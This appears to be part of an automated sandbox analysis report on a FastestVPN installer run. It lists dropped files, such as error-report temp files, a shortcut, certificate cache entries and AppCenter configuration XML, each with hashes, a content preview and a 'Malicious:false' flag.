                                                                                                                    Preview:MDMP..a..... ........R.f....................................$............"...@..........`.......8...........T...........h*..E9......................................................................................................eJ......\ ......GenuineIntel............T............R.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER60C0.tmp.WERInternalMetadata.xml

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):8488
                                                                                                                    Entropy (8bit):3.7025672548492876
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:R6l7wVeJzX62n6Ymy363WgmfZa0D70pr189bcisf4Um:R6lXJj6G6Yl6mgmfEQPchfq
                                                                                                                    MD5:40ED860F930074F24359787588E2EDCA
                                                                                                                    SHA1:A0B5E2FB12BB350B8740B9AFE448B45E5A9548D8
                                                                                                                    SHA-256:9B7F3E23B9E8837FDEFA497F33F8D70058C0E15312441513F9EB36B1812CBF66
                                                                                                                    SHA-512:A4C086A9537EF98593A1FF3DC10CFD4347565E77D45FD509727E1F39BEB9C2353AB8EDE55A231B516588C0B48607950AD0605A81F2FD50097510C77EA4103715
                                                                                                                    Malicious:false
                                                                                                                    Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.6.1.6.<./.P.i.

                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER60EE.tmp.csv

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):85272
                                                                                                                    Entropy (8bit):3.020627185353062
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:tXjCX52M51KPCdP9geHIGiCo9j3bTmD5WveeaIB2oxY:tXjCX52M51KPCdP9geHIGiCo97bTmD5n
                                                                                                                    MD5:5C555ED3C72D25C58154C9FCFFC65B0E
                                                                                                                    SHA1:11368973D72F50497FF443EDBCEEA8BFFFE77734
                                                                                                                    SHA-256:872C22299A7DEDDF2653ACC1B0D8A1EC3A8969E9CAA9AA4AADEB7F03406832E1
                                                                                                                    SHA-512:800C83C4F8BBCBC826A43B85EE752FF7F7E3B85456487219A1EC0E786C2C0649ACE42593BE52ECC43F623DBBC029F271A97F76094FBD7744925AFD959D1E688A
                                                                                                                    Malicious:false
                                                                                                                    Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER60F0.tmp.xml

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):4887
                                                                                                                    Entropy (8bit):4.554804027822826
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:48:cvIwWl8zsGtJg77aI9LChWpW8VY0Ym8M4JCA2tf8HcFIZ+q8vV2tf8HEqcHIjUP1:uIjfGHI7kw7VQJC1sfZKMszcHUUPjjd
                                                                                                                    MD5:885971F7AAB1A2B3A55FC5CD348BB997
                                                                                                                    SHA1:F66F948BC7F46EE3103017520CDBA620CBDA6806
                                                                                                                    SHA-256:E00F168DCA846666B9A72F9005F9047D0912E5D24087E8F3D82AFEC52050B4AB
                                                                                                                    SHA-512:BC3B0ADF4C5127E57D1C27343F4ECFAB56D07D7978CDE1B3DFBA28ADDA64F7F2C35B82B3FB632A68FC4F08A15CF59A3EEC1B2925BD11DDE1594543C2BE5D29B0
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="526999" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER618B.tmp.txt

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):13340
                                                                                                                    Entropy (8bit):2.6859473683328354
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:96:TiZYWz1BW4nYWPYyWw6HRuUYEZJRtCiG+juaiwuBEZ9yUaQtcM0GySIs23:2ZDzRTu88wUaQtcM0G4s23
                                                                                                                    MD5:2F4B1781938B306EE5D822A71DF8F189
                                                                                                                    SHA1:A0178DC34C9F905B7D781F50263F7DB3D2C49B08
                                                                                                                    SHA-256:2428DADCED9A8F26DC1A1149E6137C6EF076BCC2C45610A55BCACBAEBB402C97
                                                                                                                    SHA-512:5C5AC29F017C1F6B1B8E9A125CC75D4F1FAC577E73E5570635BDD0C40F88C3DB3D02419A9BDEF490C29E7C004652B9721C33251C93E9A9B07E3DC9644A04B746
                                                                                                                    Malicious:false
                                                                                                                    Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                                                                    C:\Users\Public\Desktop\FastestVPN.lnk

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Thu Oct 3 07:16:04 2024, mtime=Thu Oct 3 07:16:07 2024, atime=Thu Jun 27 19:18:16 2024, length=2059432, window=hide
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1747
                                                                                                                    Entropy (8bit):3.218828480314221
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:84H52dS5pc5IcnLAsP6d/Z6d/nd/VkIbfd/VG8cm:8a4dS5pyTn8sid/Z6d/nd/Vkcd/VBc
                                                                                                                    MD5:104FD7A888CC25D8C59F570A7A4F9D75
                                                                                                                    SHA1:B9675BBD4E273EBEF2F4D7E2196B6BCA01CE6272
                                                                                                                    SHA-256:F41FB1BD2D6794E97AE18BD753F8A0E9819EDB22D90EA9947BEBA17636BE6A3C
                                                                                                                    SHA-512:C03D264F4DC5DCA6BE68BC13911440CAD3079128A40E78F182E7C991FFFE69496949C77230084AF72FFEDEEC57B711010D75B3620475DC27583297C2BA2C18DF
                                                                                                                    Malicious:false
                                                                                                                    Preview:L..................F.@.. .....r}l.......l......$.....l...........................P.O. .:i.....+00.../C:\.....................1.....CY.B..PROGRA~1..t......O.ICY.B....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....CY.B..FASTES~1..F......CY.BCY.B....X.......................).F.a.s.t.e.s.t.V.P.N.....j.2..l...XH. .FASTES~1.EXE..N......CY.BCY.B....;.........................F.a.s.t.e.s.t.V.P.N...e.x.e.......Y...............-.......X...........i.YO.....C:\Program Files\FastestVPN\FastestVPN.exe..0.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.F.a.s.t.e.s.t.V.P.N...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.(.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.a.p.p.-.i.c.o.n...i.c.o.........%SystemDrive%\Program Files\FastestVPN\app-icon.ico.......................................................................................................................................................

                                                                                                                    C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):71954
                                                                                                                    Entropy (8bit):7.996617769952133
                                                                                                                    Encrypted:true
                                                                                                                    SSDEEP:1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
                                                                                                                    MD5:49AEBF8CBD62D92AC215B2923FB1B9F5
                                                                                                                    SHA1:1723BE06719828DDA65AD804298D0431F6AFF976
                                                                                                                    SHA-256:B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
                                                                                                                    SHA-512:BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
                                                                                                                    Malicious:false
                                                                                                                    Preview:MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..*Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=*....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.|.c.&>?..^t. ..;..X.d.E.0G....[Q.*,*......#.Dp..L.o|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

                                                                                                                    C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:Certificate, Version=3
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1428
                                                                                                                    Entropy (8bit):7.688784034406474
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:nIGWnSIGWnSGc9VIyy0KuiUQ+7n0TCDZJCCAyuIqwmCFUZnPQ1LSdT:nIL7LJSRQ+QgAyuxwfynPQmR
                                                                                                                    MD5:78F2FCAA601F2FB4EBC937BA532E7549
                                                                                                                    SHA1:DDFB16CD4931C973A2037D3FC83A4D7D775D05E4
                                                                                                                    SHA-256:552F7BDCF1A7AF9E6CE672017F4F12ABF77240C78E761AC203D1D9D20AC89988
                                                                                                                    SHA-512:BCAD73A7A5AFB7120549DD54BA1F15C551AE24C7181F008392065D1ED006E6FA4FA5A60538D52461B15A12F5292049E929CFFDE15CC400DEC9CDFCA0B36A68DD
                                                                                                                    Malicious:false
                                                                                                                    Preview:0...0..x..........W..!2.9...wu\0...*.H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40...130801120000Z..380115120000Z0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40.."0...*.H.............0..........sh..]J<0"0i3..%..!=..Y..).=X.v..{....0....8..V.m...y....._..<R.R....~...W.YUr.h.p..u.js2...D.......t;mq.-... .. .c)-..^N..!a.4...^.[......4@_.zf.w.H.fWW.TX..+.O.0.V..{]..O^.5.1..^......@.y.x...j.8.....7...}...>..p.U.A2...s*n..|!L....u]xf.:1D.3@...ZI...g.'..O9..X..$\F.d..i.v.v=Y]Bv...izH....f.t..K...c....:.=...E%...D.+~....am.3...K...}....!........p,A`..c.D..vb~.....d.3....C....w.....!..T)%.l..RQGt.&..Au.z._.?..A..[..P.1..r."..|Lu?c.!_. Qko....O..E_. ........~.&...i/..-............B0@0...U.......0....0...U...........0...U..........q]dL..g?....O0...*.H..............a.}.l.........dh.V.w.p...J...x\.._...)V.6I]Dc...f.#.=y.mk.T..<.C@..P.R..;...ik.

                                                                                                                    C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):328
                                                                                                                    Entropy (8bit):3.236892865807448
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:kK3NMD9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:fzDImsLNkPlE99SNxAhUe/3
                                                                                                                    MD5:60A4D0E8DE91A56A59496228AE72D7BF
                                                                                                                    SHA1:DCE05D91C0EA4D8D14C0C37D1093E695B850E72E
                                                                                                                    SHA-256:257BF75085084F9B14D6B5329050242D88209A908C8972CC724C9694B2EADACC
                                                                                                                    SHA-512:11F760885B93FEE1FEDD08F9AF88960C9792C643E5F841B84676F74C46F5BADA2CB8101741B773E3141990CE69FCE4A894BE8FB458AE41A946CEFD48AA69598A
                                                                                                                    Malicious:false
                                                                                                                    Preview:p...... ............l...(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

                                                                                                                    C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2E248BEDDBB2D85122423C41028BFD4

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):254
                                                                                                                    Entropy (8bit):3.0420528531831836
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:kKrapLDcJgjcalgRAOAUSW0PTKDXMOXISKlUp:japLYS4tWOxSW0PAMsZp
                                                                                                                    MD5:B50F2876A1BAC7B4F298F780E2CB365E
                                                                                                                    SHA1:51082A3F05DACA631AE6A6DF1A6B9F6949B5E4B9
                                                                                                                    SHA-256:CA3E98FCFC67C8A4322171251B47B8767F4C638D49C387F946DA84FDDA24854F
                                                                                                                    SHA-512:868C40DC0133EBA43B9F52BF7E12B01DC61E84152429182CF4DDEE698967E0CD696B6120915EC4DB90E60CF3B678CC2EDDC403857BD33A0C18C411296052C084
                                                                                                                    Malicious:false
                                                                                                                    Preview:p...... ....l..."..l...(....................................................... ............n......................h.t.t.p.:././.c.a.c.e.r.t.s...d.i.g.i.c.e.r.t...c.o.m./.D.i.g.i.C.e.r.t.T.r.u.s.t.e.d.R.o.o.t.G.4...c.r.t...".5.a.2.8.6.4.1.7.-.5.9.4."...

                                                                                                                    C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\0tbyzadx.newcfg

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):306
                                                                                                                    Entropy (8bit):4.786578375552194
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:TMVBd1IGpOSDH40Vq4t/S4JAFQDuq4t/S4JAHUfq4t/G3QIT:TMHdGGpOiYX4t/rAFQD4t/rA0y4t/G3p
                                                                                                                    MD5:9BD7587F34E11ECFAD8B5DEEED8364B6
                                                                                                                    SHA1:93765EE7A4A27B2F84134001FAAB307984BD58BE
                                                                                                                    SHA-256:B9870C1A6239C96F710CEB8B8E21A745433A8C8151B0D2FD9C17A0D2C4AB1C29
                                                                                                                    SHA-512:7B0B26DFE2CD19BF210AE3E916D95D9EE97D6677C11979D2F8787C2EC9F682FC52078B4D126BC4671661CFD98EF8D7C9AE18F9AE5F8D6DF141F8B25B52A5D5C3
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="False" />.. <add key="AppCenterServiceEnabled_analytics" value="False" />.. <add key="AppCenterServiceEnabled_crashes" value="False" />.. </appSettings>..</configuration>

                                                                                                                    C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\1ou4a4uv.newcfg

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):391
                                                                                                                    Entropy (8bit):4.999369553892444
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:TMHdGGpOiYX/rAFQD/rA0y4t/KDVcVNG3xT:2ddYDrPRyJcq
                                                                                                                    MD5:AE9B7561E766233523F3F58C46E33296
                                                                                                                    SHA1:4858E884F4656FEDB8A321CD71FEE6CBB52FB41D
                                                                                                                    SHA-256:BA0B46968575157D5F818C52DB269DE5C325A35DC63F1549D83A0702A327105D
                                                                                                                    SHA-512:15B5040230C2DA7DF12F2A46CBFCB0B13D35A75A175AC4F06526826BD0F181CC62D2DEE24F0B91FF1BF5CA35465B6B5AEC572C179B37BBF6AC73B33BF0ACEDDC
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="True" />.. <add key="AppCenterServiceEnabled_analytics" value="True" />.. <add key="AppCenterServiceEnabled_crashes" value="False" />.. <add key="AppCenterInstallId" value="096d70de-d9fb-4f35-b47f-04982d275a44" />.. </appSettings>..</configuration>

                                                                                                                    C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\2mkcad4i.newcfg

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):237
                                                                                                                    Entropy (8bit):4.807606594598902
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:TMVBd1IGpOSDH40Vq4t/S4JAFQDuq4t/G3QIT:TMHdGGpOiYX4t/rAFQD4t/G3xT
                                                                                                                    MD5:183EBDEC24DDC45FF5E38C915A0F1F2E
                                                                                                                    SHA1:E1FFE9DA68D9F934FD66E0EB15857C9C1F9BC48D
                                                                                                                    SHA-256:6165A855053058DA8ABDE8798FABCD9F0E6ECAD175E52A3DFE0F3CF081C82E4E
                                                                                                                    SHA-512:41F7B750B6CE0B096A3D5FD7ECF6CD1E222C7B26C4FF3F0463B1AAB2D5718245CF4A91AB396B02ED8B125A55E62574D5E11949B95C5A636899CD1A2F4F795D06
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="False" />.. <add key="AppCenterServiceEnabled_analytics" value="False" />.. </appSettings>..</configuration>

                                                                                                                    C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\AppCenter.config (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):166
                                                                                                                    Entropy (8bit):4.816940765206284
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:vFWWMNHU8LdgCQcIMOofqRqLVuXKCWAawLEHJq0Vq4tlKaF9ULVuuQIMOn:TMVBd1IGpOSDH40Vq4t/G3QIT
                                                                                                                    MD5:90401247D5A6AF2729E2F23FBA0A6351
                                                                                                                    SHA1:977D37740A245C9A41AD5B8916C07A699B181A09
                                                                                                                    SHA-256:C4622D6EF948D316ED1C28E5BD2EE8CCE28BE710E9815CA67BDFF4C2648AACA4
                                                                                                                    SHA-512:1F47BC3EFD2AB121663FF12F753DF519DE18CFDE43C79C475D7CEC32D70AFC7CE8A696EBCE5BA2519CBAA4F58FBEDDEC082B3AC6EFCE50996D54A2975B2C27DE
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="False" />.. </appSettings>..</configuration>

                                                                                                                    C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\csewwaal.newcfg

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):390
                                                                                                                    Entropy (8bit):4.993038549106998
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:TMHdGGpOiYX/rAFQD/rA0y/KDVcVNG3xT:2ddYDrP7Jcq
                                                                                                                    MD5:0DFC01FDB9ACFE0914E323E99C56E2F9
                                                                                                                    SHA1:963310C88F80DE267E4B00CA0AB267EF86E00E58
                                                                                                                    SHA-256:FEC36EB54C6A633BBDA55E98FD8C0EE64DA2DC733A5357AD6ED853A366E2975D
                                                                                                                    SHA-512:08D5229E3FC14C3B6B9F74140986AACA389983229BB22E1E8CCC468896F27C1080A82E3EE5A78D9ADE78BB6B4A5ECD612FFD7C76ADC7F11148699E3AD11CB36E
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="True" />.. <add key="AppCenterServiceEnabled_analytics" value="True" />.. <add key="AppCenterServiceEnabled_crashes" value="True" />.. <add key="AppCenterInstallId" value="096d70de-d9fb-4f35-b47f-04982d275a44" />.. </appSettings>..</configuration>

                                                                                                                    C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\hts4liga.newcfg

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):393
                                                                                                                    Entropy (8bit):4.9859683597165745
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:TMHdGGpOiYX4t/rAFQD4t/rA0y4t/KDVcVNG3xT:2ddY4zrUzRyJcq
                                                                                                                    MD5:ED92FD5FFA54540899786D934AA3B49C
                                                                                                                    SHA1:B1D439882F28B9FD56A5FFF382F4FD7DCAB539D5
                                                                                                                    SHA-256:6AA4B742FF321D875D46EE36F4CD19804D0F6361C104AFF81386AFA6950ED3F1
                                                                                                                    SHA-512:870F391EB8D9A2CE4205D9DEA557690AE44340B3E7F3DE0F9A7C7E451C81E3DBBC8B3663CCAC5F8CC1DE57982079F16F4EC6225A2E15D02017FF67F27B873B0E
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="False" />.. <add key="AppCenterServiceEnabled_analytics" value="False" />.. <add key="AppCenterServiceEnabled_crashes" value="False" />.. <add key="AppCenterInstallId" value="096d70de-d9fb-4f35-b47f-04982d275a44" />.. </appSettings>..</configuration>

